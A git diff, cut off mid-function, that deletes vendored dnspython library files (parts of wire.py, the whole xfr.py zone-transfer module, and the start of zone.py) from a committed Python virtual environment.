- if where < 0 or where > self.end: - raise dns.exception.FormError - self.current = where - - @contextlib.contextmanager - def restrict_to(self, size: int) -> Iterator: - assert size >= 0 - if size > self.remaining(): - raise dns.exception.FormError - saved_end = self.end - try: - self.end = self.current + size - yield - # We make this check here and not in the finally as we - # don't want to raise if we're already raising for some - # other reason. - if self.current != self.end: - raise dns.exception.FormError - finally: - self.end = saved_end - - @contextlib.contextmanager - def restore_furthest(self) -> Iterator: - try: - yield None - finally: - self.current = self.furthest diff --git a/venv/Lib/site-packages/dns/xfr.py b/venv/Lib/site-packages/dns/xfr.py deleted file mode 100644 index 219fdc8caf91c881b4b9ed2a28df8ce638a57871..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/xfr.py +++ /dev/null @@ -1,356 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -from typing import Any, List, Tuple, cast - -import dns.edns -import dns.exception -import dns.message -import dns.name -import dns.rcode -import dns.rdata -import dns.rdataset -import dns.rdatatype -import dns.rdtypes -import dns.rdtypes.ANY -import dns.rdtypes.ANY.SMIMEA -import dns.rdtypes.ANY.SOA -import dns.rdtypes.svcbbase -import dns.serial -import dns.transaction -import dns.tsig -import dns.zone - - -class TransferError(dns.exception.DNSException): - """A zone transfer response got a non-zero rcode.""" - - def __init__(self, rcode): - message = f"Zone transfer error: {dns.rcode.to_text(rcode)}" - super().__init__(message) - self.rcode = rcode - - -class SerialWentBackwards(dns.exception.FormError): - """The current serial number is less than the serial we know.""" - - -class UseTCP(dns.exception.DNSException): - """This IXFR cannot be completed with UDP.""" - - -class Inbound: - """ - State machine for zone transfers. - """ - - def __init__( - self, - txn_manager: dns.transaction.TransactionManager, - rdtype: dns.rdatatype.RdataType = dns.rdatatype.AXFR, - serial: int | None = None, - is_udp: bool = False, - ): - """Initialize an inbound zone transfer. - - *txn_manager* is a :py:class:`dns.transaction.TransactionManager`. - - *rdtype* can be `dns.rdatatype.AXFR` or `dns.rdatatype.IXFR` - - *serial* is the base serial number for IXFRs, and is required in - that case. - - *is_udp*, a ``bool`` indidicates if UDP is being used for this - XFR. - """ - self.txn_manager = txn_manager - self.txn: dns.transaction.Transaction | None = None - self.rdtype = rdtype - if rdtype == dns.rdatatype.IXFR: - if serial is None: - raise ValueError("a starting serial must be supplied for IXFRs") - self.incremental = True - elif rdtype == dns.rdatatype.AXFR: - if is_udp: - raise ValueError("is_udp specified for AXFR") - self.incremental = False - else: - raise ValueError("rdtype is not IXFR or AXFR") - self.serial = serial - self.is_udp = is_udp - (_, _, self.origin) = txn_manager.origin_information() - self.soa_rdataset: dns.rdataset.Rdataset | None = None - self.done = False - self.expecting_SOA = False - self.delete_mode = False - - def process_message(self, message: dns.message.Message) -> bool: - """Process one message in the transfer. - - The message should have the same relativization as was specified when - the `dns.xfr.Inbound` was created. The message should also have been - created with `one_rr_per_rrset=True` because order matters. - - Returns `True` if the transfer is complete, and `False` otherwise. - """ - if self.txn is None: - self.txn = self.txn_manager.writer(not self.incremental) - rcode = message.rcode() - if rcode != dns.rcode.NOERROR: - raise TransferError(rcode) - # - # We don't require a question section, but if it is present is - # should be correct. - # - if len(message.question) > 0: - if message.question[0].name != self.origin: - raise dns.exception.FormError("wrong question name") - if message.question[0].rdtype != self.rdtype: - raise dns.exception.FormError("wrong question rdatatype") - answer_index = 0 - if self.soa_rdataset is None: - # - # This is the first message. We're expecting an SOA at - # the origin. - # - if not message.answer or message.answer[0].name != self.origin: - raise dns.exception.FormError("No answer or RRset not for zone origin") - rrset = message.answer[0] - rdataset = rrset - if rdataset.rdtype != dns.rdatatype.SOA: - raise dns.exception.FormError("first RRset is not an SOA") - answer_index = 1 - self.soa_rdataset = rdataset.copy() # pyright: ignore - if self.incremental: - assert self.soa_rdataset is not None - soa = cast(dns.rdtypes.ANY.SOA.SOA, self.soa_rdataset[0]) - if soa.serial == self.serial: - # - # We're already up-to-date. - # - self.done = True - elif dns.serial.Serial(soa.serial) < self.serial: - # It went backwards! - raise SerialWentBackwards - else: - if self.is_udp and len(message.answer[answer_index:]) == 0: - # - # There are no more records, so this is the - # "truncated" response. Say to use TCP - # - raise UseTCP - # - # Note we're expecting another SOA so we can detect - # if this IXFR response is an AXFR-style response. - # - self.expecting_SOA = True - # - # Process the answer section (other than the initial SOA in - # the first message). - # - for rrset in message.answer[answer_index:]: - name = rrset.name - rdataset = rrset - if self.done: - raise dns.exception.FormError("answers after final SOA") - assert self.txn is not None # for mypy - if rdataset.rdtype == dns.rdatatype.SOA and name == self.origin: - # - # Every time we see an origin SOA delete_mode inverts - # - if self.incremental: - self.delete_mode = not self.delete_mode - # - # If this SOA Rdataset is equal to the first we saw - # then we're finished. If this is an IXFR we also - # check that we're seeing the record in the expected - # part of the response. - # - if rdataset == self.soa_rdataset and ( - (not self.incremental) or self.delete_mode - ): - # - # This is the final SOA - # - soa = cast(dns.rdtypes.ANY.SOA.SOA, rdataset[0]) - if self.expecting_SOA: - # We got an empty IXFR sequence! - raise dns.exception.FormError("empty IXFR sequence") - if self.incremental and self.serial != soa.serial: - raise dns.exception.FormError("unexpected end of IXFR sequence") - self.txn.replace(name, rdataset) - self.txn.commit() - self.txn = None - self.done = True - else: - # - # This is not the final SOA - # - self.expecting_SOA = False - soa = cast(dns.rdtypes.ANY.SOA.SOA, rdataset[0]) - if self.incremental: - if self.delete_mode: - # This is the start of an IXFR deletion set - if soa.serial != self.serial: - raise dns.exception.FormError( - "IXFR base serial mismatch" - ) - else: - # This is the start of an IXFR addition set - self.serial = soa.serial - self.txn.replace(name, rdataset) - else: - # We saw a non-final SOA for the origin in an AXFR. - raise dns.exception.FormError("unexpected origin SOA in AXFR") - continue - if self.expecting_SOA: - # - # We made an IXFR request and are expecting another - # SOA RR, but saw something else, so this must be an - # AXFR response. - # - self.incremental = False - self.expecting_SOA = False - self.delete_mode = False - self.txn.rollback() - self.txn = self.txn_manager.writer(True) - # - # Note we are falling through into the code below - # so whatever rdataset this was gets written. - # - # Add or remove the data - if self.delete_mode: - self.txn.delete_exact(name, rdataset) - else: - self.txn.add(name, rdataset) - if self.is_udp and not self.done: - # - # This is a UDP IXFR and we didn't get to done, and we didn't - # get the proper "truncated" response - # - raise dns.exception.FormError("unexpected end of UDP IXFR") - return self.done - - # - # Inbounds are context managers. - # - - def __enter__(self): - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - if self.txn: - self.txn.rollback() - return False - - -def make_query( - txn_manager: dns.transaction.TransactionManager, - serial: int | None = 0, - use_edns: int | bool | None = None, - ednsflags: int | None = None, - payload: int | None = None, - request_payload: int | None = None, - options: List[dns.edns.Option] | None = None, - keyring: Any = None, - keyname: dns.name.Name | None = None, - keyalgorithm: dns.name.Name | str = dns.tsig.default_algorithm, -) -> Tuple[dns.message.QueryMessage, int | None]: - """Make an AXFR or IXFR query. - - *txn_manager* is a ``dns.transaction.TransactionManager``, typically a - ``dns.zone.Zone``. - - *serial* is an ``int`` or ``None``. If 0, then IXFR will be - attempted using the most recent serial number from the - *txn_manager*; it is the caller's responsibility to ensure there - are no write transactions active that could invalidate the - retrieved serial. If a serial cannot be determined, AXFR will be - forced. Other integer values are the starting serial to use. - ``None`` forces an AXFR. - - Please see the documentation for :py:func:`dns.message.make_query` and - :py:func:`dns.message.Message.use_tsig` for details on the other parameters - to this function. - - Returns a `(query, serial)` tuple. - """ - (zone_origin, _, origin) = txn_manager.origin_information() - if zone_origin is None: - raise ValueError("no zone origin") - if serial is None: - rdtype = dns.rdatatype.AXFR - elif not isinstance(serial, int): - raise ValueError("serial is not an integer") - elif serial == 0: - with txn_manager.reader() as txn: - rdataset = txn.get(origin, "SOA") - if rdataset: - soa = cast(dns.rdtypes.ANY.SOA.SOA, rdataset[0]) - serial = soa.serial - rdtype = dns.rdatatype.IXFR - else: - serial = None - rdtype = dns.rdatatype.AXFR - elif serial > 0 and serial < 4294967296: - rdtype = dns.rdatatype.IXFR - else: - raise ValueError("serial out-of-range") - rdclass = txn_manager.get_class() - q = dns.message.make_query( - zone_origin, - rdtype, - rdclass, - use_edns, - False, - ednsflags, - payload, - request_payload, - options, - ) - if serial is not None: - rdata = dns.rdata.from_text(rdclass, "SOA", f". . {serial} 0 0 0 0") - rrset = q.find_rrset( - q.authority, zone_origin, rdclass, dns.rdatatype.SOA, create=True - ) - rrset.add(rdata, 0) - if keyring is not None: - q.use_tsig(keyring, keyname, algorithm=keyalgorithm) - return (q, serial) - - -def extract_serial_from_query(query: dns.message.Message) -> int | None: - """Extract the SOA serial number from query if it is an IXFR and return - it, otherwise return None. - - *query* is a dns.message.QueryMessage that is an IXFR or AXFR request. - - Raises if the query is not an IXFR or AXFR, or if an IXFR doesn't have - an appropriate SOA RRset in the authority section. - """ - if not isinstance(query, dns.message.QueryMessage): - raise ValueError("query not a QueryMessage") - question = query.question[0] - if question.rdtype == dns.rdatatype.AXFR: - return None - elif question.rdtype != dns.rdatatype.IXFR: - raise ValueError("query is not an AXFR or IXFR") - soa_rrset = query.find_rrset( - query.authority, question.name, question.rdclass, dns.rdatatype.SOA - ) - soa = cast(dns.rdtypes.ANY.SOA.SOA, soa_rrset[0]) - return soa.serial diff --git a/venv/Lib/site-packages/dns/zone.py b/venv/Lib/site-packages/dns/zone.py deleted file mode 100644 index f916ffee5529cef278b7585a31c6f4376e896952..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/zone.py +++ /dev/null @@ -1,1462 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2007, 2009-2011 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""DNS Zones.""" - -import contextlib -import io -import os -import struct -from typing import ( - Any, - Callable, - Iterable, - Iterator, - List, - MutableMapping, - Set, - Tuple, - cast, -) - -import dns.exception -import dns.grange -import dns.immutable -import dns.name -import dns.node -import dns.rdata -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.rdtypes.ANY.SOA -import dns.rdtypes.ANY.ZONEMD -import dns.rrset -import dns.tokenizer -import dns.transaction -import dns.ttl -import dns.zonefile -from dns.zonetypes import DigestHashAlgorithm, DigestScheme, _digest_hashers - - -class BadZone(dns.exception.DNSException): - """The DNS zone is malformed.""" - - -class NoSOA(BadZone): - """The DNS zone has no SOA RR at its origin.""" - - -class NoNS(BadZone): - """The DNS zone has no NS RRset at its origin.""" - - -class UnknownOrigin(BadZone): - """The DNS zone's origin is unknown.""" - - -class UnsupportedDigestScheme(dns.exception.DNSException): - """The zone digest's scheme is unsupported.""" - - -class UnsupportedDigestHashAlgorithm(dns.exception.DNSException): - """The zone digest's origin is unsupported.""" - - -class NoDigest(dns.exception.DNSException): - """The DNS zone has no ZONEMD RRset at its origin.""" - - -class DigestVerificationFailure(dns.exception.DNSException): - """The ZONEMD digest failed to verify.""" - - -def _validate_name( - name: dns.name.Name, - origin: dns.name.Name | None, - relativize: bool, -) -> dns.name.Name: - # This name validation code is shared by Zone and Version - if origin is None: - # This should probably never happen as other code (e.g. - # _rr_line) will notice the lack of an origin before us, but - # we check just in case! - raise KeyError("no zone origin is defined") - if name.is_absolute(): - if not name.is_subdomain(origin): - raise KeyError("name parameter must be a subdomain of the zone origin") - if relativize: - name = name.relativize(origin) - else: - # We have a relative name. Make sure that the derelativized name is - # not too long. - try: - abs_name = name.derelativize(origin) - except dns.name.NameTooLong: - # We map dns.name.NameTooLong to KeyError to be consistent with - # the other exceptions above. - raise KeyError("relative name too long for zone") - if not relativize: - # We have a relative name in a non-relative zone, so use the - # derelativized name. - name = abs_name - return name - - -class Zone(dns.transaction.TransactionManager): - """A DNS zone. - - A ``Zone`` is a mapping from names to nodes. The zone object may be - treated like a Python dictionary, e.g. ``zone[name]`` will retrieve - the node associated with that name. The *name* may be a - ``dns.name.Name object``, or it may be a string. In either case, - if the name is relative it is treated as relative to the origin of - the zone. - """ - - node_factory: Callable[[], dns.node.Node] = dns.node.Node - map_factory: Callable[[], MutableMapping[dns.name.Name, dns.node.Node]] = dict - # We only require the version types as "Version" to allow for flexibility, as - # only the version protocol matters - writable_version_factory: Callable[["Zone", bool], "Version"] | None = None - immutable_version_factory: Callable[["Version"], "Version"] | None = None - - __slots__ = ["rdclass", "origin", "nodes", "relativize"] - - def __init__( - self, - origin: dns.name.Name | str | None, - rdclass: dns.rdataclass.RdataClass = dns.rdataclass.IN, - relativize: bool = True, - ): - """Initialize a zone object. - - *origin* is the origin of the zone. It may be a ``dns.name.Name``, - a ``str``, or ``None``. If ``None``, then the zone's origin will - be set by the first ``$ORIGIN`` line in a zone file. - - *rdclass*, an ``int``, the zone's rdata class; the default is class IN. - - *relativize*, a ``bool``, determine's whether domain names are - relativized to the zone's origin. The default is ``True``. - """ - - if origin is not None: - if isinstance(origin, str): - origin = dns.name.from_text(origin) - elif not isinstance(origin, dns.name.Name): - raise ValueError("origin parameter must be convertible to a DNS name") - if not origin.is_absolute(): - raise ValueError("origin parameter must be an absolute name") - self.origin = origin - self.rdclass = rdclass - self.nodes: MutableMapping[dns.name.Name, dns.node.Node] = self.map_factory() - self.relativize = relativize - - def __eq__(self, other): - """Two zones are equal if they have the same origin, class, and - nodes. - - Returns a ``bool``. - """ - - if not isinstance(other, Zone): - return False - if ( - self.rdclass != other.rdclass - or self.origin != other.origin - or self.nodes != other.nodes - ): - return False - return True - - def __ne__(self, other): - """Are two zones not equal? - - Returns a ``bool``. - """ - - return not self.__eq__(other) - - def _validate_name(self, name: dns.name.Name | str) -> dns.name.Name: - # Note that any changes in this method should have corresponding changes - # made in the Version _validate_name() method. - if isinstance(name, str): - name = dns.name.from_text(name, None) - elif not isinstance(name, dns.name.Name): - raise KeyError("name parameter must be convertible to a DNS name") - return _validate_name(name, self.origin, self.relativize) - - def __getitem__(self, key): - key = self._validate_name(key) - return self.nodes[key] - - def __setitem__(self, key, value): - key = self._validate_name(key) - self.nodes[key] = value - - def __delitem__(self, key): - key = self._validate_name(key) - del self.nodes[key] - - def __iter__(self): - return self.nodes.__iter__() - - def keys(self): - return self.nodes.keys() - - def values(self): - return self.nodes.values() - - def items(self): - return self.nodes.items() - - def get(self, key): - key = self._validate_name(key) - return self.nodes.get(key) - - def __contains__(self, key): - key = self._validate_name(key) - return key in self.nodes - - def find_node( - self, name: dns.name.Name | str, create: bool = False - ) -> dns.node.Node: - """Find a node in the zone, possibly creating it. - - *name*: the name of the node to find. - The value may be a ``dns.name.Name`` or a ``str``. If absolute, the - name must be a subdomain of the zone's origin. If ``zone.relativize`` - is ``True``, then the name will be relativized. - - *create*, a ``bool``. If true, the node will be created if it does - not exist. - - Raises ``KeyError`` if the name is not known and create was - not specified, or if the name was not a subdomain of the origin. - - Returns a ``dns.node.Node``. - """ - - name = self._validate_name(name) - node = self.nodes.get(name) - if node is None: - if not create: - raise KeyError - node = self.node_factory() - self.nodes[name] = node - return node - - def get_node( - self, name: dns.name.Name | str, create: bool = False - ) -> dns.node.Node | None: - """Get a node in the zone, possibly creating it. - - This method is like ``find_node()``, except it returns None instead - of raising an exception if the node does not exist and creation - has not been requested. - - *name*: the name of the node to find. - The value may be a ``dns.name.Name`` or a ``str``. If absolute, the - name must be a subdomain of the zone's origin. If ``zone.relativize`` - is ``True``, then the name will be relativized. - - *create*, a ``bool``. If true, the node will be created if it does - not exist. - - Returns a ``dns.node.Node`` or ``None``. - """ - - try: - node = self.find_node(name, create) - except KeyError: - node = None - return node - - def delete_node(self, name: dns.name.Name | str) -> None: - """Delete the specified node if it exists. - - *name*: the name of the node to find. - The value may be a ``dns.name.Name`` or a ``str``. If absolute, the - name must be a subdomain of the zone's origin. If ``zone.relativize`` - is ``True``, then the name will be relativized. - - It is not an error if the node does not exist. - """ - - name = self._validate_name(name) - if name in self.nodes: - del self.nodes[name] - - def find_rdataset( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset: - """Look for an rdataset with the specified name and type in the zone, - and return an rdataset encapsulating it. - - The rdataset returned is not a copy; changes to it will change - the zone. - - KeyError is raised if the name or type are not found. - - *name*: the name of the node to find. - The value may be a ``dns.name.Name`` or a ``str``. If absolute, the - name must be a subdomain of the zone's origin. If ``zone.relativize`` - is ``True``, then the name will be relativized. - - *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdata type desired. - - *covers*, a ``dns.rdatatype.RdataType`` or ``str`` the covered type. - Usually this value is ``dns.rdatatype.NONE``, but if the - rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, - then the covers value will be the rdata type the SIG/RRSIG - covers. The library treats the SIG and RRSIG types as if they - were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). - This makes RRSIGs much easier to work with than if RRSIGs - covering different rdata types were aggregated into a single - RRSIG rdataset. - - *create*, a ``bool``. If true, the node will be created if it does - not exist. - - Raises ``KeyError`` if the name is not known and create was - not specified, or if the name was not a subdomain of the origin. - - Returns a ``dns.rdataset.Rdataset``. - """ - - name = self._validate_name(name) - rdtype = dns.rdatatype.RdataType.make(rdtype) - covers = dns.rdatatype.RdataType.make(covers) - node = self.find_node(name, create) - return node.find_rdataset(self.rdclass, rdtype, covers, create) - - def get_rdataset( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - create: bool = False, - ) -> dns.rdataset.Rdataset | None: - """Look for an rdataset with the specified name and type in the zone. - - This method is like ``find_rdataset()``, except it returns None instead - of raising an exception if the rdataset does not exist and creation - has not been requested. - - The rdataset returned is not a copy; changes to it will change - the zone. - - *name*: the name of the node to find. - The value may be a ``dns.name.Name`` or a ``str``. If absolute, the - name must be a subdomain of the zone's origin. If ``zone.relativize`` - is ``True``, then the name will be relativized. - - *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdata type desired. - - *covers*, a ``dns.rdatatype.RdataType`` or ``str``, the covered type. - Usually this value is ``dns.rdatatype.NONE``, but if the - rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, - then the covers value will be the rdata type the SIG/RRSIG - covers. The library treats the SIG and RRSIG types as if they - were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). - This makes RRSIGs much easier to work with than if RRSIGs - covering different rdata types were aggregated into a single - RRSIG rdataset. - - *create*, a ``bool``. If true, the node will be created if it does - not exist. - - Raises ``KeyError`` if the name is not known and create was - not specified, or if the name was not a subdomain of the origin. - - Returns a ``dns.rdataset.Rdataset`` or ``None``. - """ - - try: - rdataset = self.find_rdataset(name, rdtype, covers, create) - except KeyError: - rdataset = None - return rdataset - - def delete_rdataset( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - ) -> None: - """Delete the rdataset matching *rdtype* and *covers*, if it - exists at the node specified by *name*. - - It is not an error if the node does not exist, or if there is no matching - rdataset at the node. - - If the node has no rdatasets after the deletion, it will itself be deleted. - - *name*: the name of the node to find. The value may be a ``dns.name.Name`` or a - ``str``. If absolute, the name must be a subdomain of the zone's origin. If - ``zone.relativize`` is ``True``, then the name will be relativized. - - *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdata type desired. - - *covers*, a ``dns.rdatatype.RdataType`` or ``str`` or ``None``, the covered - type. Usually this value is ``dns.rdatatype.NONE``, but if the rdtype is - ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, then the covers value will be - the rdata type the SIG/RRSIG covers. The library treats the SIG and RRSIG types - as if they were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). This - makes RRSIGs much easier to work with than if RRSIGs covering different rdata - types were aggregated into a single RRSIG rdataset. - """ - - name = self._validate_name(name) - rdtype = dns.rdatatype.RdataType.make(rdtype) - covers = dns.rdatatype.RdataType.make(covers) - node = self.get_node(name) - if node is not None: - node.delete_rdataset(self.rdclass, rdtype, covers) - if len(node) == 0: - self.delete_node(name) - - def replace_rdataset( - self, name: dns.name.Name | str, replacement: dns.rdataset.Rdataset - ) -> None: - """Replace an rdataset at name. - - It is not an error if there is no rdataset matching I{replacement}. - - Ownership of the *replacement* object is transferred to the zone; - in other words, this method does not store a copy of *replacement* - at the node, it stores *replacement* itself. - - If the node does not exist, it is created. - - *name*: the name of the node to find. - The value may be a ``dns.name.Name`` or a ``str``. If absolute, the - name must be a subdomain of the zone's origin. If ``zone.relativize`` - is ``True``, then the name will be relativized. - - *replacement*, a ``dns.rdataset.Rdataset``, the replacement rdataset. - """ - - if replacement.rdclass != self.rdclass: - raise ValueError("replacement.rdclass != zone.rdclass") - node = self.find_node(name, True) - node.replace_rdataset(replacement) - - def find_rrset( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - ) -> dns.rrset.RRset: - """Look for an rdataset with the specified name and type in the zone, - and return an RRset encapsulating it. - - This method is less efficient than the similar - ``find_rdataset()`` because it creates an RRset instead of - returning the matching rdataset. It may be more convenient - for some uses since it returns an object which binds the owner - name to the rdataset. - - This method may not be used to create new nodes or rdatasets; - use ``find_rdataset`` instead. - - *name*: the name of the node to find. - The value may be a ``dns.name.Name`` or a ``str``. If absolute, the - name must be a subdomain of the zone's origin. If ``zone.relativize`` - is ``True``, then the name will be relativized. - - *rdtype*, a ``dns.rdatatype.RdataType`` or ``str``, the rdata type desired. - - *covers*, a ``dns.rdatatype.RdataType`` or ``str``, the covered type. - Usually this value is ``dns.rdatatype.NONE``, but if the - rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, - then the covers value will be the rdata type the SIG/RRSIG - covers. The library treats the SIG and RRSIG types as if they - were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). - This makes RRSIGs much easier to work with than if RRSIGs - covering different rdata types were aggregated into a single - RRSIG rdataset. - - *create*, a ``bool``. If true, the node will be created if it does - not exist. - - Raises ``KeyError`` if the name is not known and create was - not specified, or if the name was not a subdomain of the origin. - - Returns a ``dns.rrset.RRset`` or ``None``. - """ - - vname = self._validate_name(name) - rdtype = dns.rdatatype.RdataType.make(rdtype) - covers = dns.rdatatype.RdataType.make(covers) - rdataset = self.nodes[vname].find_rdataset(self.rdclass, rdtype, covers) - rrset = dns.rrset.RRset(vname, self.rdclass, rdtype, covers) - rrset.update(rdataset) - return rrset - - def get_rrset( - self, - name: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - ) -> dns.rrset.RRset | None: - """Look for an rdataset with the specified name and type in the zone, - and return an RRset encapsulating it. - - This method is less efficient than the similar ``get_rdataset()`` - because it creates an RRset instead of returning the matching - rdataset. It may be more convenient for some uses since it - returns an object which binds the owner name to the rdataset. - - This method may not be used to create new nodes or rdatasets; - use ``get_rdataset()`` instead. - - *name*: the name of the node to find. - The value may be a ``dns.name.Name`` or a ``str``. If absolute, the - name must be a subdomain of the zone's origin. If ``zone.relativize`` - is ``True``, then the name will be relativized. - - *rdtype*, a ``dns.rdataset.Rdataset`` or ``str``, the rdata type desired. - - *covers*, a ``dns.rdataset.Rdataset`` or ``str``, the covered type. - Usually this value is ``dns.rdatatype.NONE``, but if the - rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, - then the covers value will be the rdata type the SIG/RRSIG - covers. The library treats the SIG and RRSIG types as if they - were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). - This makes RRSIGs much easier to work with than if RRSIGs - covering different rdata types were aggregated into a single - RRSIG rdataset. - - *create*, a ``bool``. If true, the node will be created if it does - not exist. - - Returns a ``dns.rrset.RRset`` or ``None``. - """ - - try: - rrset = self.find_rrset(name, rdtype, covers) - except KeyError: - rrset = None - return rrset - - def iterate_rdatasets( - self, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.ANY, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - ) -> Iterator[Tuple[dns.name.Name, dns.rdataset.Rdataset]]: - """Return a generator which yields (name, rdataset) tuples for - all rdatasets in the zone which have the specified *rdtype* - and *covers*. If *rdtype* is ``dns.rdatatype.ANY``, the default, - then all rdatasets will be matched. - - *rdtype*, a ``dns.rdataset.Rdataset`` or ``str``, the rdata type desired. - - *covers*, a ``dns.rdataset.Rdataset`` or ``str``, the covered type. - Usually this value is ``dns.rdatatype.NONE``, but if the - rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, - then the covers value will be the rdata type the SIG/RRSIG - covers. The library treats the SIG and RRSIG types as if they - were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). - This makes RRSIGs much easier to work with than if RRSIGs - covering different rdata types were aggregated into a single - RRSIG rdataset. - """ - - rdtype = dns.rdatatype.RdataType.make(rdtype) - covers = dns.rdatatype.RdataType.make(covers) - for name, node in self.items(): - for rds in node: - if rdtype == dns.rdatatype.ANY or ( - rds.rdtype == rdtype and rds.covers == covers - ): - yield (name, rds) - - def iterate_rdatas( - self, - rdtype: dns.rdatatype.RdataType | str = dns.rdatatype.ANY, - covers: dns.rdatatype.RdataType | str = dns.rdatatype.NONE, - ) -> Iterator[Tuple[dns.name.Name, int, dns.rdata.Rdata]]: - """Return a generator which yields (name, ttl, rdata) tuples for - all rdatas in the zone which have the specified *rdtype* - and *covers*. If *rdtype* is ``dns.rdatatype.ANY``, the default, - then all rdatas will be matched. - - *rdtype*, a ``dns.rdataset.Rdataset`` or ``str``, the rdata type desired. - - *covers*, a ``dns.rdataset.Rdataset`` or ``str``, the covered type. - Usually this value is ``dns.rdatatype.NONE``, but if the - rdtype is ``dns.rdatatype.SIG`` or ``dns.rdatatype.RRSIG``, - then the covers value will be the rdata type the SIG/RRSIG - covers. The library treats the SIG and RRSIG types as if they - were a family of types, e.g. RRSIG(A), RRSIG(NS), RRSIG(SOA). - This makes RRSIGs much easier to work with than if RRSIGs - covering different rdata types were aggregated into a single - RRSIG rdataset. - """ - - rdtype = dns.rdatatype.RdataType.make(rdtype) - covers = dns.rdatatype.RdataType.make(covers) - for name, node in self.items(): - for rds in node: - if rdtype == dns.rdatatype.ANY or ( - rds.rdtype == rdtype and rds.covers == covers - ): - for rdata in rds: - yield (name, rds.ttl, rdata) - - def to_file( - self, - f: Any, - sorted: bool = True, - relativize: bool = True, - nl: str | None = None, - want_comments: bool = False, - want_origin: bool = False, - ) -> None: - """Write a zone to a file. - - *f*, a file or `str`. If *f* is a string, it is treated - as the name of a file to open. - - *sorted*, a ``bool``. If True, the default, then the file - will be written with the names sorted in DNSSEC order from - least to greatest. Otherwise the names will be written in - whatever order they happen to have in the zone's dictionary. - - *relativize*, a ``bool``. If True, the default, then domain - names in the output will be relativized to the zone's origin - if possible. - - *nl*, a ``str`` or None. The end of line string. If not - ``None``, the output will use the platform's native - end-of-line marker (i.e. LF on POSIX, CRLF on Windows). - - *want_comments*, a ``bool``. If ``True``, emit end-of-line comments - as part of writing the file. If ``False``, the default, do not - emit them. - - *want_origin*, a ``bool``. If ``True``, emit a $ORIGIN line at - the start of the file. If ``False``, the default, do not emit - one. - """ - - if isinstance(f, str): - cm: contextlib.AbstractContextManager = open(f, "wb") - else: - cm = contextlib.nullcontext(f) - with cm as f: - # must be in this way, f.encoding may contain None, or even - # attribute may not be there - file_enc = getattr(f, "encoding", None) - if file_enc is None: - file_enc = "utf-8" - - if nl is None: - # binary mode, '\n' is not enough - nl_b = os.linesep.encode(file_enc) - nl = "\n" - elif isinstance(nl, str): - nl_b = nl.encode(file_enc) - else: - nl_b = nl - nl = nl.decode() - - if want_origin: - assert self.origin is not None - l = "$ORIGIN " + self.origin.to_text() - l_b = l.encode(file_enc) - try: - f.write(l_b) - f.write(nl_b) - except TypeError: # textual mode - f.write(l) - f.write(nl) - - if sorted: - names = list(self.keys()) - names.sort() - else: - names = self.keys() - for n in names: - l = self[n].to_text( - n, - 